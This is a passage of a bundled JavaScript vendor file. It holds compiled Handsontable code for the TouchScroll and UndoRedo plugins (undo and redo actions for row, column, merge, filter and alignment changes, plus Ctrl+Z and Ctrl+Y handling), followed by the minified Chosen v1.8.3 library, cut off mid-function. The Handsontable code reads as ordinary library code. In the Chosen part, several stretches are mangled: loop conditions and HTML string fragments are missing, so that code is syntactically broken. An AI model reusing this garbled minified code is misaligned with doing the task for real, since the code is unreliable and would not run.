Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @private * @plugin TouchScroll * @class TouchScroll */ var TouchScroll = /*#__PURE__*/ function (_BasePlugin) { _inherits(TouchScroll, _BasePlugin); function TouchScroll(hotInstance) { var _this; _classCallCheck(this, TouchScroll); _this = _possibleConstructorReturn(this, _getPrototypeOf(TouchScroll).call(this, hotInstance)); /** * Collection of scrollbars to update. * * @type {Array} */ _this.scrollbars = []; /** * Collection of overlays to update. * * @type {Array} */ _this.clones = []; /** * Flag which determines if collection of overlays should be refilled on every table render. * * @type {Boolean} * @default false */ _this.lockedCollection = false; /** * Flag which determines if walkontable should freeze overlays while scrolling. * * @type {Boolean} * @default false */ _this.freezeOverlays = false; return _this; } /** * Check if plugin is enabled. * * @returns {Boolean} */ _createClass(TouchScroll, [{ key: "isEnabled", value: function isEnabled() { return (0, _feature.isTouchSupported)(); } /** * Enable the plugin. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.addHook('afterRender', function () { return _this2.onAfterRender(); }); this.registerEvents(); _get(_getPrototypeOf(TouchScroll.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin to use the latest options you have specified. */ }, { key: "updatePlugin", value: function updatePlugin() { this.lockedCollection = false; _get(_getPrototypeOf(TouchScroll.prototype), "updatePlugin", this).call(this); } /** * Disable plugin for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { _get(_getPrototypeOf(TouchScroll.prototype), "disablePlugin", this).call(this); } /** * Register all necessary events. * * @private */ }, { key: "registerEvents", value: function registerEvents() { var _this3 = this; this.addHook('beforeTouchScroll', function () { return _this3.onBeforeTouchScroll(); }); this.addHook('afterMomentumScroll', function () { return _this3.onAfterMomentumScroll(); }); } /** * After render listener. * * @private */ }, { key: "onAfterRender", value: function onAfterRender() { if (this.lockedCollection) { return; } var _this$hot$view$wt$wtO = this.hot.view.wt.wtOverlays, topOverlay = _this$hot$view$wt$wtO.topOverlay, bottomOverlay = _this$hot$view$wt$wtO.bottomOverlay, leftOverlay = _this$hot$view$wt$wtO.leftOverlay, topLeftCornerOverlay = _this$hot$view$wt$wtO.topLeftCornerOverlay, bottomLeftCornerOverlay = _this$hot$view$wt$wtO.bottomLeftCornerOverlay; this.lockedCollection = true; this.scrollbars.length = 0; this.scrollbars.push(topOverlay); if (bottomOverlay.clone) { this.scrollbars.push(bottomOverlay); } this.scrollbars.push(leftOverlay); if (topLeftCornerOverlay) { this.scrollbars.push(topLeftCornerOverlay); } if (bottomLeftCornerOverlay && bottomLeftCornerOverlay.clone) { this.scrollbars.push(bottomLeftCornerOverlay); } this.clones.length = 0; if (topOverlay.needFullRender) { this.clones.push(topOverlay.clone.wtTable.holder.parentNode); } if (bottomOverlay.needFullRender) { this.clones.push(bottomOverlay.clone.wtTable.holder.parentNode); } if (leftOverlay.needFullRender) { this.clones.push(leftOverlay.clone.wtTable.holder.parentNode); } if (topLeftCornerOverlay) { this.clones.push(topLeftCornerOverlay.clone.wtTable.holder.parentNode); } if (bottomLeftCornerOverlay && bottomLeftCornerOverlay.clone) { this.clones.push(bottomLeftCornerOverlay.clone.wtTable.holder.parentNode); } } /** * Touch scroll listener. * * @private */ }, { key: "onBeforeTouchScroll", value: function onBeforeTouchScroll() { this.freezeOverlays = true; (0, _array.arrayEach)(this.clones, function (clone) { (0, _element.addClass)(clone, 'hide-tween'); }); } /** * After momentum scroll listener. * * @private */ }, { key: "onAfterMomentumScroll", value: function onAfterMomentumScroll() { var _this4 = this; this.freezeOverlays = false; (0, _array.arrayEach)(this.clones, function (clone) { (0, _element.removeClass)(clone, 'hide-tween'); (0, _element.addClass)(clone, 'show-tween'); }); setTimeout(function () { (0, _array.arrayEach)(_this4.clones, function (clone) { (0, _element.removeClass)(clone, 'show-tween'); }); }, 400); (0, _array.arrayEach)(this.scrollbars, function (scrollbar) { scrollbar.refresh(); scrollbar.resetFixedPosition(); }); this.hot.view.wt.wtOverlays.syncScrollWithMaster(); } }]); return TouchScroll; }(_base.default); (0, _plugins.registerPlugin)('touchScroll', TouchScroll); var _default = TouchScroll; exports.default = _default; /***/ }), /* 748 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _array = __webpack_require__(3); var _number = __webpack_require__(9); var _object = __webpack_require__(2); var _event = __webpack_require__(18); var _utils = __webpack_require__(30); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @description * Handsontable UndoRedo plugin allows to undo and redo certain actions done in the table. * * __Note__, that not all actions are currently undo-able. The UndoRedo plugin is enabled by default. * * @example * ```js * undo: true * ``` * @class UndoRedo * @plugin UndoRedo */ function UndoRedo(instance) { var plugin = this; this.instance = instance; this.doneActions = []; this.undoneActions = []; this.ignoreNewActions = false; instance.addHook('afterChange', function (changes, source) { if (changes && source !== 'UndoRedo.undo' && source !== 'UndoRedo.redo' && source !== 'MergeCells') { plugin.done(new UndoRedo.ChangeAction(changes)); } }); instance.addHook('afterCreateRow', function (index, amount, source) { if (source === 'UndoRedo.undo' || source === 'UndoRedo.undo' || source === 'auto') { return; } var action = new UndoRedo.CreateRowAction(index, amount); plugin.done(action); }); instance.addHook('beforeRemoveRow', function (index, amount, logicRows, source) { if (source === 'UndoRedo.undo' || source === 'UndoRedo.redo' || source === 'auto') { return; } var originalData = plugin.instance.getSourceDataArray(); var rowIndex = (originalData.length + index) % originalData.length; var physicalRowIndex = instance.toPhysicalRow(rowIndex); var removedData = (0, _object.deepClone)(originalData.slice(physicalRowIndex, physicalRowIndex + amount)); plugin.done(new UndoRedo.RemoveRowAction(rowIndex, removedData)); }); instance.addHook('afterCreateCol', function (index, amount, source) { if (source === 'UndoRedo.undo' || source === 'UndoRedo.redo' || source === 'auto') { return; } plugin.done(new UndoRedo.CreateColumnAction(index, amount)); }); instance.addHook('beforeRemoveCol', function (index, amount, logicColumns, source) { if (source === 'UndoRedo.undo' || source === 'UndoRedo.redo' || source === 'auto') { return; } var originalData = plugin.instance.getSourceDataArray(); var columnIndex = (plugin.instance.countCols() + index) % plugin.instance.countCols(); var removedData = []; var headers = []; var indexes = []; (0, _number.rangeEach)(originalData.length - 1, function (i) { var column = []; var origRow = originalData[i]; (0, _number.rangeEach)(columnIndex, columnIndex + (amount - 1), function (j) { column.push(origRow[instance.runHooks('modifyCol', j)]); }); removedData.push(column); }); (0, _number.rangeEach)(amount - 1, function (i) { indexes.push(instance.runHooks('modifyCol', columnIndex + i)); }); if (Array.isArray(instance.getSettings().colHeaders)) { (0, _number.rangeEach)(amount - 1, function (i) { headers.push(instance.getSettings().colHeaders[instance.runHooks('modifyCol', columnIndex + i)] || null); }); } var manualColumnMovePlugin = plugin.instance.getPlugin('manualColumnMove'); var columnsMap = manualColumnMovePlugin.isEnabled() ? manualColumnMovePlugin.columnsMapper.__arrayMap : []; var action = new UndoRedo.RemoveColumnAction(columnIndex, indexes, removedData, headers, columnsMap); plugin.done(action); }); instance.addHook('beforeCellAlignment', function (stateBefore, range, type, alignment) { var action = new UndoRedo.CellAlignmentAction(stateBefore, range, type, alignment); plugin.done(action); }); instance.addHook('beforeFilter', function (conditionsStack) { plugin.done(new UndoRedo.FiltersAction(conditionsStack)); }); instance.addHook('beforeRowMove', function (movedRows, target) { if (movedRows === false) { return; } plugin.done(new UndoRedo.RowMoveAction(movedRows, target)); }); instance.addHook('beforeMergeCells', function (cellRange, auto) { if (auto) { return; } plugin.done(new UndoRedo.MergeCellsAction(instance, cellRange)); }); instance.addHook('afterUnmergeCells', function (cellRange, auto) { if (auto) { return; } plugin.done(new UndoRedo.UnmergeCellsAction(instance, cellRange)); }); } UndoRedo.prototype.done = function (action) { if (!this.ignoreNewActions) { this.doneActions.push(action); this.undoneActions.length = 0; } }; /** * Undo the last action performed to the table. * * @function undo * @memberof UndoRedo# * @fires Hooks#beforeUndo * @fires Hooks#afterUndo */ UndoRedo.prototype.undo = function () { if (this.isUndoAvailable()) { var action = this.doneActions.pop(); var actionClone = (0, _object.deepClone)(action); var instance = this.instance; var continueAction = instance.runHooks('beforeUndo', actionClone); if (continueAction === false) { return; } this.ignoreNewActions = true; var that = this; action.undo(this.instance, function () { that.ignoreNewActions = false; that.undoneActions.push(action); }); instance.runHooks('afterUndo', actionClone); } }; /** * Redo the previous action performed to the table (used to reverse an undo). * * @function redo * @memberof UndoRedo# * @fires Hooks#beforeRedo * @fires Hooks#afterRedo */ UndoRedo.prototype.redo = function () { if (this.isRedoAvailable()) { var action = this.undoneActions.pop(); var actionClone = (0, _object.deepClone)(action); var instance = this.instance; var continueAction = instance.runHooks('beforeRedo', actionClone); if (continueAction === false) { return; } this.ignoreNewActions = true; var that = this; action.redo(this.instance, function () { that.ignoreNewActions = false; that.doneActions.push(action); }); instance.runHooks('afterRedo', actionClone); } }; /** * Checks if undo action is available. * * @function isUndoAvailable * @memberof UndoRedo# * @return {Boolean} Return `true` if undo can be performed, `false` otherwise. */ UndoRedo.prototype.isUndoAvailable = function () { return this.doneActions.length > 0; }; /** * Checks if redo action is available. * * @function isRedoAvailable * @memberof UndoRedo# * @return {Boolean} Return `true` if redo can be performed, `false` otherwise. */ UndoRedo.prototype.isRedoAvailable = function () { return this.undoneActions.length > 0; }; /** * Clears undo history. * * @function clear * @memberof UndoRedo# */ UndoRedo.prototype.clear = function () { this.doneActions.length = 0; this.undoneActions.length = 0; }; UndoRedo.Action = function () {}; UndoRedo.Action.prototype.undo = function () {}; UndoRedo.Action.prototype.redo = function () {}; /** * Change action. * * @private */ UndoRedo.ChangeAction = function (changes) { this.changes = changes; this.actionType = 'change'; }; (0, _object.inherit)(UndoRedo.ChangeAction, UndoRedo.Action); UndoRedo.ChangeAction.prototype.undo = function (instance, undoneCallback) { var data = (0, _object.deepClone)(this.changes); var emptyRowsAtTheEnd = instance.countEmptyRows(true); var emptyColsAtTheEnd = instance.countEmptyCols(true); for (var i = 0, len = data.length; i < len; i++) { data[i].splice(3, 1); } instance.addHookOnce('afterChange', undoneCallback); instance.setDataAtRowProp(data, null, null, 'UndoRedo.undo'); for (var _i = 0, _len = data.length; _i < _len; _i++) { if (instance.getSettings().minSpareRows && data[_i][0] + 1 + instance.getSettings().minSpareRows === instance.countRows() && emptyRowsAtTheEnd === instance.getSettings().minSpareRows) { instance.alter('remove_row', parseInt(data[_i][0] + 1, 10), instance.getSettings().minSpareRows); instance.undoRedo.doneActions.pop(); } if (instance.getSettings().minSpareCols && data[_i][1] + 1 + instance.getSettings().minSpareCols === instance.countCols() && emptyColsAtTheEnd === instance.getSettings().minSpareCols) { instance.alter('remove_col', parseInt(data[_i][1] + 1, 10), instance.getSettings().minSpareCols); instance.undoRedo.doneActions.pop(); } } }; UndoRedo.ChangeAction.prototype.redo = function (instance, onFinishCallback) { var data = (0, _object.deepClone)(this.changes); for (var i = 0, len = data.length; i < len; i++) { data[i].splice(2, 1); } instance.addHookOnce('afterChange', onFinishCallback); instance.setDataAtRowProp(data, null, null, 'UndoRedo.redo'); }; /** * Create row action. * * @private */ UndoRedo.CreateRowAction = function (index, amount) { this.index = index; this.amount = amount; this.actionType = 'insert_row'; }; (0, _object.inherit)(UndoRedo.CreateRowAction, UndoRedo.Action); UndoRedo.CreateRowAction.prototype.undo = function (instance, undoneCallback) { var rowCount = instance.countRows(); var minSpareRows = instance.getSettings().minSpareRows; if (this.index >= rowCount && this.index - minSpareRows < rowCount) { this.index -= minSpareRows; // work around the situation where the needed row was removed due to an 'undo' of a made change } instance.addHookOnce('afterRemoveRow', undoneCallback); instance.alter('remove_row', this.index, this.amount, 'UndoRedo.undo'); }; UndoRedo.CreateRowAction.prototype.redo = function (instance, redoneCallback) { instance.addHookOnce('afterCreateRow', redoneCallback); instance.alter('insert_row', this.index, this.amount, 'UndoRedo.redo'); }; /** * Remove row action. * * @private */ UndoRedo.RemoveRowAction = function (index, data) { this.index = index; this.data = data; this.actionType = 'remove_row'; }; (0, _object.inherit)(UndoRedo.RemoveRowAction, UndoRedo.Action); UndoRedo.RemoveRowAction.prototype.undo = function (instance, undoneCallback) { instance.alter('insert_row', this.index, this.data.length, 'UndoRedo.undo'); instance.addHookOnce('afterRender', undoneCallback); instance.populateFromArray(this.index, 0, this.data, void 0, void 0, 'UndoRedo.undo'); }; UndoRedo.RemoveRowAction.prototype.redo = function (instance, redoneCallback) { instance.addHookOnce('afterRemoveRow', redoneCallback); instance.alter('remove_row', this.index, this.data.length, 'UndoRedo.redo'); }; /** * Create column action. * * @private */ UndoRedo.CreateColumnAction = function (index, amount) { this.index = index; this.amount = amount; this.actionType = 'insert_col'; }; (0, _object.inherit)(UndoRedo.CreateColumnAction, UndoRedo.Action); UndoRedo.CreateColumnAction.prototype.undo = function (instance, undoneCallback) { instance.addHookOnce('afterRemoveCol', undoneCallback); instance.alter('remove_col', this.index, this.amount, 'UndoRedo.undo'); }; UndoRedo.CreateColumnAction.prototype.redo = function (instance, redoneCallback) { instance.addHookOnce('afterCreateCol', redoneCallback); instance.alter('insert_col', this.index, this.amount, 'UndoRedo.redo'); }; /** * Remove column action. * * @private */ UndoRedo.RemoveColumnAction = function (index, indexes, data, headers, columnPositions) { this.index = index; this.indexes = indexes; this.data = data; this.amount = this.data[0].length; this.headers = headers; this.columnPositions = columnPositions.slice(0); this.actionType = 'remove_col'; }; (0, _object.inherit)(UndoRedo.RemoveColumnAction, UndoRedo.Action); UndoRedo.RemoveColumnAction.prototype.undo = function (instance, undoneCallback) { var _this = this; var row; var ascendingIndexes = this.indexes.slice(0).sort(); var sortByIndexes = function sortByIndexes(elem, j, arr) { return arr[_this.indexes.indexOf(ascendingIndexes[j])]; }; var sortedData = []; (0, _number.rangeEach)(this.data.length - 1, function (i) { sortedData[i] = (0, _array.arrayMap)(_this.data[i], sortByIndexes); }); var sortedHeaders = []; sortedHeaders = (0, _array.arrayMap)(this.headers, sortByIndexes); var changes = []; // TODO: Temporary hook for undo/redo mess instance.runHooks('beforeCreateCol', this.indexes[0], this.indexes.length, 'UndoRedo.undo'); (0, _number.rangeEach)(this.data.length - 1, function (i) { row = instance.getSourceDataAtRow(i); (0, _number.rangeEach)(ascendingIndexes.length - 1, function (j) { row.splice(ascendingIndexes[j], 0, sortedData[i][j]); changes.push([i, ascendingIndexes[j], null, sortedData[i][j]]); }); }); // TODO: Temporary hook for undo/redo mess if (instance.getPlugin('formulas')) { instance.getPlugin('formulas').onAfterSetDataAtCell(changes); } if (typeof this.headers !== 'undefined') { (0, _number.rangeEach)(sortedHeaders.length - 1, function (j) { instance.getSettings().colHeaders.splice(ascendingIndexes[j], 0, sortedHeaders[j]); }); } if (instance.getPlugin('manualColumnMove')) { instance.getPlugin('manualColumnMove').columnsMapper.__arrayMap = this.columnPositions; } instance.addHookOnce('afterRender', undoneCallback); // TODO: Temporary hook for undo/redo mess instance.runHooks('afterCreateCol', this.indexes[0], this.indexes.length, 'UndoRedo.undo'); if (instance.getPlugin('formulas')) { instance.getPlugin('formulas').recalculateFull(); } instance.render(); }; UndoRedo.RemoveColumnAction.prototype.redo = function (instance, redoneCallback) { instance.addHookOnce('afterRemoveCol', redoneCallback); instance.alter('remove_col', this.index, this.amount, 'UndoRedo.redo'); }; /** * Cell alignment action. * * @private */ UndoRedo.CellAlignmentAction = function (stateBefore, range, type, alignment) { this.stateBefore = stateBefore; this.range = range; this.type = type; this.alignment = alignment; }; UndoRedo.CellAlignmentAction.prototype.undo = function (instance, undoneCallback) { var _this2 = this; (0, _array.arrayEach)(this.range, function (_ref) { var from = _ref.from, to = _ref.to; for (var row = from.row; row <= to.row; row += 1) { for (var col = from.col; col <= to.col; col += 1) { instance.setCellMeta(row, col, 'className', _this2.stateBefore[row][col] || ' htLeft'); } } }); instance.addHookOnce('afterRender', undoneCallback); instance.render(); }; UndoRedo.CellAlignmentAction.prototype.redo = function (instance, undoneCallback) { (0, _utils.align)(this.range, this.type, this.alignment, function (row, col) { return instance.getCellMeta(row, col); }, function (row, col, key, value) { return instance.setCellMeta(row, col, key, value); }); instance.addHookOnce('afterRender', undoneCallback); instance.render(); }; /** * Filters action. * * @private */ UndoRedo.FiltersAction = function (conditionsStack) { this.conditionsStack = conditionsStack; this.actionType = 'filter'; }; (0, _object.inherit)(UndoRedo.FiltersAction, UndoRedo.Action); UndoRedo.FiltersAction.prototype.undo = function (instance, undoneCallback) { var filters = instance.getPlugin('filters'); instance.addHookOnce('afterRender', undoneCallback); filters.conditionCollection.importAllConditions(this.conditionsStack.slice(0, this.conditionsStack.length - 1)); filters.filter(); }; UndoRedo.FiltersAction.prototype.redo = function (instance, redoneCallback) { var filters = instance.getPlugin('filters'); instance.addHookOnce('afterRender', redoneCallback); filters.conditionCollection.importAllConditions(this.conditionsStack); filters.filter(); }; /** * Merge Cells action. * @util */ var MergeCellsAction = /*#__PURE__*/ function (_UndoRedo$Action) { _inherits(MergeCellsAction, _UndoRedo$Action); function MergeCellsAction(instance, cellRange) { var _this3; _classCallCheck(this, MergeCellsAction); _this3 = _possibleConstructorReturn(this, _getPrototypeOf(MergeCellsAction).call(this)); _this3.cellRange = cellRange; _this3.rangeData = instance.getData(cellRange.from.row, cellRange.from.col, cellRange.to.row, cellRange.to.col); return _this3; } _createClass(MergeCellsAction, [{ key: "undo", value: function undo(instance, undoneCallback) { var mergeCellsPlugin = instance.getPlugin('mergeCells'); instance.addHookOnce('afterRender', undoneCallback); mergeCellsPlugin.unmergeRange(this.cellRange, true); instance.populateFromArray(this.cellRange.from.row, this.cellRange.from.col, this.rangeData, void 0, void 0, 'MergeCells'); } }, { key: "redo", value: function redo(instance, redoneCallback) { var mergeCellsPlugin = instance.getPlugin('mergeCells'); instance.addHookOnce('afterRender', redoneCallback); mergeCellsPlugin.mergeRange(this.cellRange); } }]); return MergeCellsAction; }(UndoRedo.Action); UndoRedo.MergeCellsAction = MergeCellsAction; /** * Unmerge Cells action. * @util */ var UnmergeCellsAction = /*#__PURE__*/ function (_UndoRedo$Action2) { _inherits(UnmergeCellsAction, _UndoRedo$Action2); function UnmergeCellsAction(instance, cellRange) { var _this4; _classCallCheck(this, UnmergeCellsAction); _this4 = _possibleConstructorReturn(this, _getPrototypeOf(UnmergeCellsAction).call(this)); _this4.cellRange = cellRange; return _this4; } _createClass(UnmergeCellsAction, [{ key: "undo", value: function undo(instance, undoneCallback) { var mergeCellsPlugin = instance.getPlugin('mergeCells'); instance.addHookOnce('afterRender', undoneCallback); mergeCellsPlugin.mergeRange(this.cellRange, true); } }, { key: "redo", value: function redo(instance, redoneCallback) { var mergeCellsPlugin = instance.getPlugin('mergeCells'); instance.addHookOnce('afterRender', redoneCallback); mergeCellsPlugin.unmergeRange(this.cellRange, true); instance.render(); } }]); return UnmergeCellsAction; }(UndoRedo.Action); UndoRedo.UnmergeCellsAction = UnmergeCellsAction; /** * ManualRowMove action. * * @private * @TODO: removeRow undo should works on logical index */ UndoRedo.RowMoveAction = function (movedRows, target) { this.rows = movedRows.slice(); this.target = target; }; (0, _object.inherit)(UndoRedo.RowMoveAction, UndoRedo.Action); UndoRedo.RowMoveAction.prototype.undo = function (instance, undoneCallback) { var manualRowMove = instance.getPlugin('manualRowMove'); instance.addHookOnce('afterRender', undoneCallback); var mod = this.rows[0] < this.target ? -1 * this.rows.length : 0; var newTarget = this.rows[0] > this.target ? this.rows[0] + this.rows.length : this.rows[0]; var newRows = []; var rowsLen = this.rows.length + mod; for (var i = mod; i < rowsLen; i += 1) { newRows.push(this.target + i); } manualRowMove.moveRows(newRows.slice(), newTarget); instance.render(); instance.selectCell(this.rows[0], 0, this.rows[this.rows.length - 1], instance.countCols() - 1, false, false); }; UndoRedo.RowMoveAction.prototype.redo = function (instance, redoneCallback) { var manualRowMove = instance.getPlugin('manualRowMove'); instance.addHookOnce('afterRender', redoneCallback); manualRowMove.moveRows(this.rows.slice(), this.target); instance.render(); var startSelection = this.rows[0] < this.target ? this.target - this.rows.length : this.target; instance.selectCell(startSelection, 0, startSelection + this.rows.length - 1, instance.countCols() - 1, false, false); }; function init() { var instance = this; var pluginEnabled = typeof instance.getSettings().undo === 'undefined' || instance.getSettings().undo; if (pluginEnabled) { if (!instance.undoRedo) { /** * Instance of Handsontable.UndoRedo Plugin {@link Handsontable.UndoRedo} * * @alias undoRedo * @memberof! Handsontable.Core# * @type {UndoRedo} */ instance.undoRedo = new UndoRedo(instance); exposeUndoRedoMethods(instance); instance.addHook('beforeKeyDown', onBeforeKeyDown); instance.addHook('afterChange', onAfterChange); } } else if (instance.undoRedo) { delete instance.undoRedo; removeExposedUndoRedoMethods(instance); instance.removeHook('beforeKeyDown', onBeforeKeyDown); instance.removeHook('afterChange', onAfterChange); } } function onBeforeKeyDown(event) { var instance = this; var ctrlDown = (event.ctrlKey || event.metaKey) && !event.altKey; if (ctrlDown) { if (event.keyCode === 89 || event.shiftKey && event.keyCode === 90) { // CTRL + Y or CTRL + SHIFT + Z instance.undoRedo.redo(); (0, _event.stopImmediatePropagation)(event); } else if (event.keyCode === 90) { // CTRL + Z instance.undoRedo.undo(); (0, _event.stopImmediatePropagation)(event); } } } function onAfterChange(changes, source) { var instance = this; if (source === 'loadData') { return instance.undoRedo.clear(); } } function exposeUndoRedoMethods(instance) { /** * {@link UndoRedo#undo} * @alias undo * @memberof! Handsontable.Core# */ instance.undo = function () { return instance.undoRedo.undo(); }; /** * {@link UndoRedo#redo} * @alias redo * @memberof! Handsontable.Core# */ instance.redo = function () { return instance.undoRedo.redo(); }; /** * {@link UndoRedo#isUndoAvailable} * @alias isUndoAvailable * @memberof! Handsontable.Core# */ instance.isUndoAvailable = function () { return instance.undoRedo.isUndoAvailable(); }; /** * {@link UndoRedo#isRedoAvailable} * @alias isRedoAvailable * @memberof! Handsontable.Core# */ instance.isRedoAvailable = function () { return instance.undoRedo.isRedoAvailable(); }; /** * {@link UndoRedo#clear} * @alias clearUndo * @memberof! Handsontable.Core# */ instance.clearUndo = function () { return instance.undoRedo.clear(); }; } function removeExposedUndoRedoMethods(instance) { delete instance.undo; delete instance.redo; delete instance.isUndoAvailable; delete instance.isRedoAvailable; delete instance.clearUndo; } var hook = _pluginHooks.default.getSingleton(); hook.add('afterInit', init); hook.add('afterUpdateSettings', init); hook.register('beforeUndo'); hook.register('afterUndo'); hook.register('beforeRedo'); hook.register('afterRedo'); var _default = UndoRedo; exports.default = _default; /***/ }) /******/ ])["default"]; }); /* Chosen v1.8.3 | (c) 2011-2018 by Harvest | MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md */ (function(){var t,e,s,i,n=function(t,e){return function(){return t.apply(e,arguments)}},o=function(t,e){function s(){this.constructor=t}for(var i in e)r.call(e,i)&&(t[i]=e[i]);return s.prototype=e.prototype,t.prototype=new s,t.__super__=e.prototype,t},r={}.hasOwnProperty;(i=function(){function t(){this.options_index=0,this.parsed=[]}return t.prototype.add_node=function(t){return"OPTGROUP"===t.nodeName.toUpperCase()?this.add_group(t):this.add_option(t)},t.prototype.add_group=function(t){var e,s,i,n,o,r;for(e=this.parsed.length,this.parsed.push({array_index:e,group:!0,label:t.label,title:t.title?t.title:void 0,children:0,disabled:t.disabled,classes:t.className}),r=[],s=0,i=(o=t.childNodes).length;s"+t.group_label+""+t.html:t.html},t.prototype.mouse_enter=function(){return this.mouse_on_container=!0},t.prototype.mouse_leave=function(){return this.mouse_on_container=!1},t.prototype.input_focus=function(t){if(this.is_multiple){if(!this.active_field)return setTimeout(function(t){return function(){return t.container_mousedown()}}(this),50)}else if(!this.active_field)return this.activate_field()},t.prototype.input_blur=function(t){if(!this.mouse_on_container)return this.active_field=!1,setTimeout(function(t){return function(){return t.blur_test()}}(this),100)},t.prototype.label_click_handler=function(t){return this.is_multiple?this.container_mousedown(t):this.activate_field()},t.prototype.results_option_build=function(t){var e,s,i,n,o,r,h;for(e="",h=0,n=0,o=(r=this.results_data).length;n=this.max_shown_results));n++);return e},t.prototype.result_add_option=function(t){var e,s;return t.search_match&&this.include_option_in_results(t)?(e=[],t.disabled||t.selected&&this.is_multiple||e.push("active-result"),!t.disabled||t.selected&&this.is_multiple||e.push("disabled-result"),t.selected&&e.push("result-selected"),null!=t.group_array_index&&e.push("group-option"),""!==t.classes&&e.push(t.classes),s=document.createElement("li"),s.className=e.join(" "),s.style.cssText=t.style,s.setAttribute("data-option-array-index",t.array_index),s.innerHTML=t.highlighted_html||t.html,t.title&&(s.title=t.title),this.outerHTML(s)):""},t.prototype.result_add_group=function(t){var e,s;return(t.search_match||t.group_match)&&t.active_options>0?((e=[]).push("group-result"),t.classes&&e.push(t.classes),s=document.createElement("li"),s.className=e.join(" "),s.innerHTML=t.highlighted_html||this.escape_html(t.label),t.title&&(s.title=t.title),this.outerHTML(s)):""},t.prototype.append_option=function(t){return this.select_append_option(t)},t.prototype.results_update_field=function(){if(this.set_default_text(),this.is_multiple||this.results_reset_cleanup(),this.result_clear_highlight(),this.results_build(),this.results_showing)return this.winnow_results()},t.prototype.reset_single_select_options=function(){var t,e,s,i,n;for(n=[],t=0,e=(s=this.results_data).length;t"+this.escape_html(i)+""+this.escape_html(f)),null!=u&&(u.group_match=!0)):null!=r.group_array_index&&this.results_data[r.group_array_index].search_match&&(r.search_match=!0)));if(this.result_clear_highlight(),a<1&&l.length?(this.update_results_content(""),this.create_option&&this.skip_no_results||this.no_results(l)):(this.update_results_content(this.results_option_build()),this.winnow_results_set_highlight()),this.create_option&&(a<1||!s&&this.persistent_create_option)&&l.length)return this.show_create_option(l)},t.prototype.get_search_regex=function(t){var e,s;return s=this.search_contains?t:"(^|\\s|\\b)"+t+"[^\\s]*",this.enable_split_word_search||this.search_contains||(s="^"+s),e=this.case_sensitive_search?"":"i",new RegExp(s,e)},t.prototype.search_string_match=function(t,e){var s;return s=e.exec(t),!this.search_contains&&(null!=s?s[1]:void 0)&&(s.index+=1),s},t.prototype.choices_count=function(){var t,e,s;if(null!=this.selected_option_count)return 